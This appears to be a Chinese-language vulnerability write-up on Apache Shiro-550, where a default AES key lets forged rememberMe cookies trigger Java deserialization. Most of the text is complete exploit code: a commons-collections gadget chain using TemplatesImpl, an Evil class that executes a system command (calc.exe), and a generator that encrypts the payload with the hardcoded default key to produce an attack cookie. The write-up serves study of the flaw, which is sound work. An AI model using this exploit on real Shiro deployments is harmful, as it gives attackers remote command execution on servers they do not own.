Shiro550漏洞分析
环境
JDK8
commons-collections-3.2.1
漏洞原理
Shiro安全框架登录时提供记住我功能,当登录时开启记住我功能时返回包会携带一个Cookie字段,键为rememberMe,下次登陆的时候携带返回包的Cookie进行,服务器端会把这个Cookie进行解码后反序列化。
客户端用rememberMe功能时,服务器端会把Cookie数据进行序列化,然后进行AES加密,再Base64编码,最后以rememberMe为键返回给客户端。
当客户端再次登录的时候,会在请求包携带上次返回包返回的Cookie数据,服务器端把请求包携带的Cookie数据进行Base64解码,再AES解密,再进行反序列化。
在Shiro 1.2.4版本之前,进行AES加解密的key有默认值,如果服务器端没更改默认值,则导致攻击者可以构造恶意的序列化数据,并把序列化的数据进行AES加密和Base64编码,最后放到请求包中的rememberMe Cookie字段,传输到服务器端。传送到服务器端后经过Base64、AES解密后获得原始的序列化数据,再反序列化触发反序列化链。
可以说是因为泄露了AES加密的key导致的反序列化漏洞
那么构造payload的流程就为
获得默认key->构造恶意反序列化链->进行AES加密->Base64编码->放到请求包的rememberMe Cookie字段发送->经过服务器端解密、解码后反序列化->触发反序列化链
构造payload
Shiro只是提供了一个反序列化的入口,具体能不能利用还得看服务器端有没有可以利用的反序列化链!
此处加入commons-collections-3.2.1进行反序列化链的构造
构造payload的流程就很简单了,因为加入了commons-collections-3.2.1,那么直接用前面学过的ACC链进行AES加密再Base64编码即可发送Cookie到服务器端触发反序列化,但是Shiro提供的反序列化有一个 "缺陷"
在shiro提供的反序列化中,如果反序列化流中包含非java自身的数组,则会出现无法加载类的错误,那么ACC链中的Transformer数组就不能使用了,那么还怎么构造呢?
我们构造恶意TemplatesImpl对象,调用TemplatesImpl对象的newTransformer方法就可以执行系统命令(此处不理解的可以先去把ACC的几条链跟一跟),但是在ACC链中触发是通过Transformer数组触发的,如下
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TemplatesImpl),
new InvokerTransformer("newTransformer", null, null)
};
但是shiro提供的反序列化中不允许反序列化流中包含非java自身的数组,上面的构造就用不了了,注意TiedMapEntry类的getValue方法,在调用this.map.get
方法时,传入了一个this.key
参数,跟一下TiedMapEntry.getValue->LazyMap.get->InvokerTransformer.transformer
方法调用链就知道,this.key
可以代替ConstantTransformer类作为一个对象传递者的功能,那么此时Transformer数组就一个元素了,那么就消去数组也可以了
最终构造反序列化链如下
public static Object getObject() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(org.apache.shiro.test.Evil.class.getName());
byte[] bytes = clazz.toBytecode();
TemplatesImpl Evilobj = new TemplatesImpl();
Transformer transformer = new InvokerTransformer("getClass",null,null);
HashMap inner = new HashMap();
Map outer = LazyMap.decorate(inner, transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outer,Evilobj);
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry, "haha");
Field iTransformers = transformer.getClass().getDeclaredField("iMethodName");
iTransformers.setAccessible(true);
iTransformers.set(transformer,"newTransformer");
Field bytecodes = Evilobj.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
Field name = Evilobj.getClass().getDeclaredField("_name");
name.setAccessible(true);
Field tfactory = Evilobj.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
bytecodes.set(Evilobj,new byte[][]{bytes});
name.set(Evilobj,"ky");
tfactory.set(Evilobj,new TransformerFactoryImpl());
inner.clear();
return hashMap;
}
把序列化的数据进行AES加密后Base64编码,通过Shiro内置的AesCipherService类进行加密并编码,默认的AES加密key为kPH+bIxk5D2deZiIxcaaaA==
public static void main(String[] args) throws Exception{
HashMap hashMap = (HashMap) getObject();
ByteArrayOutputStream bo = new ByteArrayOutputStream();
ObjectOutputStream oo = new ObjectOutputStream(bo);
oo.writeObject(hashMap);
byte[] bytes = bo.toByteArray();
AesCipherService aesCipherService = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource encrypt = aesCipherService.encrypt(bytes, key);
System.out.println(encrypt.toString());
}
构造反序列化链时获取到org.apache.shiro.test.Evil.class
恶意类构造方法存在命令执行代码。完整payload
Evil.java文件
package org.apache.shiro.test;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public Evil() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
}
PayloadDemo02.java文件
package org.apache.shiro.test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import javassist.ClassPool;
import javassist.CtClass;
public class PayloadDemo02 {
public static void main(String[] args) throws Exception{
HashMap hashMap = (HashMap) getObject();
ByteArrayOutputStream bo = new ByteArrayOutputStream();
ObjectOutputStream oo = new ObjectOutputStream(bo);
oo.writeObject(hashMap);
byte[] bytes = bo.toByteArray();
AesCipherService aesCipherService = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource encrypt = aesCipherService.encrypt(bytes, key);
System.out.println(encrypt.toString());
}
public static Object getObject() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(org.apache.shiro.test.Evil.class.getName());
byte[] bytes = clazz.toBytecode();
TemplatesImpl Evilobj = new TemplatesImpl();
Transformer transformer = new InvokerTransformer("getClass",null,null);
HashMap inner = new HashMap();
Map outer = LazyMap.decorate(inner, transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outer,Evilobj);
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry, "haha");
Field iTransformers = transformer.getClass().getDeclaredField("iMethodName");
iTransformers.setAccessible(true);
iTransformers.set(transformer,"newTransformer");
Field bytecodes = Evilobj.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
Field name = Evilobj.getClass().getDeclaredField("_name");
name.setAccessible(true);
Field tfactory = Evilobj.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
bytecodes.set(Evilobj,new byte[][]{bytes});
name.set(Evilobj,"ky");
tfactory.set(Evilobj,new TransformerFactoryImpl());
inner.clear();
return hashMap;
}
}
把生成的Cookie放到请求包即可进行命令执行
总结
加解密过程代码调试可以参考这篇文章